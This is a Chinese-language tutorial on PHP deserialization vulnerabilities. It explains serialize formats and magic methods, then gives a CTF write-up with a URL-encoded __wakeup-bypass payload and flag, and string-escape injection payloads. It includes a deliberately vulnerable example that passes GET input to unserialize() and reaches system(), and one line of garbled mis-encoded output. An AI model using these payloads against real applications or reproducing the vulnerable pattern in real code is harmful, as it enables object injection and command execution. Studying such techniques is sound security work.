反序列化
反序列化
漏洞原理:
通过构造一个包含魔术方法的类,然后在魔术方法中调用命令执行或代码执行函数,接着实例化这个类的一个对象 并将该对象序列化后传递给程序,当程序反序列化该对象时触发魔术方法从而执行命令或代码
serialize函数输出格式:
NULL被序列化为:N
Boolean型数据序列化为:b:1,b:0,分别代表True和False
Integer型数据序列化为:i:数值
String型数据序列化为:s:长度:"值"
对象序列化为:O:类名长度:类名:字段数:字段
PHP中常用魔术方法:
__construct:当对象被创建时调用
__destruct:当对象被销毁前调用
__sleep:执行serialize函数前调用
__wakeup:执行unserialize函数前调用
__call:在对象中调用不可访问的方法时调用
__callStatic:用静态方法调用不可访问方法时调用
__get:获得类成因变量时调用
__set:设置类成员变量时调用
创建类并实例化对象
对象序列化后的结构为:
O:对象名的长度:"对象名":对象属性个数:{s:属性名的长度:"属性名";s:属性值的长度:"属性值";}
公有变量a,保护变量b,私有变量c
a是public类型的变量,s表示字符串,1表示变量名的长度,a是变量名。
b是protected类型的变量,它的变量名长度为4,也就是b前添加了%00%00。所以,protected属性的表示方式是在变量名前加上%00*%00。
c是private类型的变量,c的变量名前添加了%00类名%00。所以,private属性的表示方式是在变量名前加上%00类名%00。
<?php
class A{ //定义类
var $test = "Hello";
function __construct()
{
print"<h1>ABCD</h1>";
}
}
$a=new A(); //实例化一个对象a
print "Serialize Object A:".serialize($a); //序列化对象a
输出结果
<h1>ABCD</h1>Serialize Object A:O:1:"A":1:{s:4:"test";s:5:"Hello";}
定义以一个包含魔术方法__desttruct的类A 实例化一个对象并输出序列化后的数据 在对象销毁时 程序会调用system函数执行df命令 通过GET方法传参arg给服务器进行反序列化
<?php
class A{ //定义类
var $test = "df"; //设置变量值为df
function __destruct(){ //定义析构函数,在类A销毁时执行system("df")
print "Exec ute CMD:".$this->test;
print "Result";
system($this->test);
}
}
$a=new A(); //实例化一个对象a
print "Serialize Object A:".serialize($a); //序列化对象a
$arg = $_GET['arg']; //GET方式获取参数arg的值
$a_user = unserialize($arg); //反序列化参数arg的值
输出结果
Serialize Object A:O:1:"A":1:{s:4:"test";s:2:"df";}Exec ute CMD:dfResult'df' �����ڲ����ⲿ���Ҳ���ǿ����еij���
���������ļ���
栗子:
<?php
class A{
var $a ="a";
var $b = "b\r\n";
function __construct(){
$this->a = "123";
echo "初始化时调用\r\n";
}
function __destruct(){
echo "销毁时调用--";
echo $this->a . "\r\n";
}
}
$b = new A();
#$ser serialize($b);
#echo $ser;
$ser_test ='O:1:"A":1:{s:1:a"a";s:4:"test";}';
$user = unserialize($ser_test);
echo $b->b;
?>
输出结果
初始化时调用
销毁时调用--a
b
销毁时调用--123
解析:先把A类实例化为$b,触发构造函数__construct(),打印了‘初始化时调用’,并把$a设置成了123
运行后,这里的反序列化不会有任何输出,因为他没有调用构造函数也没销毁,但是生成了一个A类的反序列化对象
echo $b->b这,输出此时实例化的对象$b->b的值,也就是b
脚本结束,先销毁反序列化对象user,输出销毁时调用,此时反序列化对象的$a是test,接着销毁实例化对象$b,也是同理
wakeup绕过
[极客大挑战 2019]PHP 反序列化,wakeup绕过
分析源代码,当password为100,且username为admin才能输出flag值
先序列化对应的Name对象和他的成员值得信息,然后将序列化的结果放入主页的select传参值进行反序列化 获得flag
private为私有成员,成员变量名字前需要加%00类名%00 所以导致在正常显示中看不到,
wakeup绕过:在反序列化时,如果表示对象的成员数目的值大于原来的的数目就会跳过__wakeup( )的执行
<?php
class Name {
private $username = '';
private $password = '';
public function __construct($username,$password){
$this ->username = $username;
$this ->password = $password;
}
}
$a = new Name('admin','100');
echo serialize($a)."\n";
echo urlencode(serialize($a));
输出
O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
所以将成员数目指的2改为3 就能绕过
select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
flag{0e0c7855-adef-47a4-a2a6-1d647987b420}
反序列化逃逸
底层代码以 ; 作为字段的分隔,以 } 作为结尾 且有一定长度,是根据长度判断内容的
反序列化字符串都是以“;}结束 可以提前闭合 超出闭合部分不会被反序列化成功
可以反序列化类中不存在的元素
<?php
function filter($str)
{
return str_replace('bb', 'ccc', $str);
}
class A
{
public $name = 'aaaa';
public $pass = '123456';
}
$AA = new A();
echo serialize($AA) . "\n";
$res = filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
var_dump($c);
?>
输出结果
O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}
O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}
object(A)#2 (2) {
["name"]=>
string(4) "aaaa"
["pass"]=>
string(6) "123456"
}
字符变多
举个栗子
要让打印出来的pass是hacker而不是123456
<?php
function filter($str){
return str_replace('bb','ccc',$str);
}
class A{
public $name='aaaa';
public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$res=filter(serialize($AA));
$c=unserialize($res);
echo $c->pass;
?>
输出结果
O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}
123456
如果将name变量中添加bb则报错,因为bb将被filter函数替换成ccc,ccc的长度比bb字符多1个,字符串长度为3 与实际长度2不符
<?php
function filter($str){
return str_replace('bb','ccc',$str);
}
class A{
public $name='aaaabb';
public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$res=filter(serialize($AA));
echo $res;
$c=unserialize($res);
echo $c->pass;
输出结果
O:1:"A":2:O:1:"A":2:{s:4:"name";s:6:"aaaabb";s:4:"pass";s:6:"123456";}
O:1:"A":2:{s:4:"name";s:6:"aaaaccc";s:4:"pass";s:6:"123456";}
过滤前,s为6,内容为aaaabb;经过filter过滤后,s仍然为6,但内容变为了aaaaccc,长度变成7,此时的name能读取到的只是aaaacc,末尾处的那个c是读取不到的,逃出一个字符 每添加一个bb 就能逃逸一个字符
<?php
function filter($str){
return str_replace('bb','ccc',$str);
}
class A{
public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}';
public $pass='123456';
}
$AA=new A();
//echo serialize($AA)."\n";
$res=filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
print_r($c)."\n";
echo $c->pass;
?>
输出结果
O:1:"A":2:{s:4:"name";s:81:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
A Object
(
[name] => ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
[pass] => hacker
)
hacker
逃逸成功
字符减少
<?php
class A{
public $v1 = "abcsystem()";
public $v2= "123";
}
$data=serialize(new A());//实体化对象a 并且进行序列化 赋值给data
$b = 'O:1:"A":2:{s:2:"v1";s:11:"abcsystem()";s:2:"v2";s:3:"123";}';
$data=str_replace("system()","",$data);//str_replace是只要出现system()就删除
var_dump(unserialize($data));//反序列化
O:1:"A":2:{s:2:"v1";s:?:"abcsystem()";s:2:"v2";s:3:"123";}
让前面的全部被?吃掉,修改字符串补全格式,并使后面的字符串变成功能性代码(需要吃掉前面的20个字符)
O:1:"A":2:{s:2:"v1";s:?:"abcsystem()";s:2:"v2";s:??:";s:2:"v3";N;}
吃掉一个system()8个,加上abc最少要吃掉2个system(),一共吃掉27个,多吃掉7个,所以需要在v2里补充7个字符
O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:21:"1234567";s:2:"v3";N;}
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:21:"1234567";s:2:"v3";N;}
完整的逃逸
<?php
class A{
public $v1 = "abcsystem()system()system()";
public $v2= '1234567";s:2:"v3";s:3:"123";}';
}
$data=serialize(new A());//实体化对象a 并且进行序列化 赋值给data
$b = 'O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:21:"1234567";s:2:"v3";N;}';
$data=str_replace("system()","",$data);//str_replace是只要出现system()就删除
var_dump(unserialize($data));//反序列化
输出结果
object(A)#1 (3) {
["v1"]=>
string(27) "abc";s:2:"v2";s:29:"1234567"
["v2"]=>
string(29) "1234567";s:2:"v3";s:3:"123";}"
["v3"]=>
string(3) "123"
}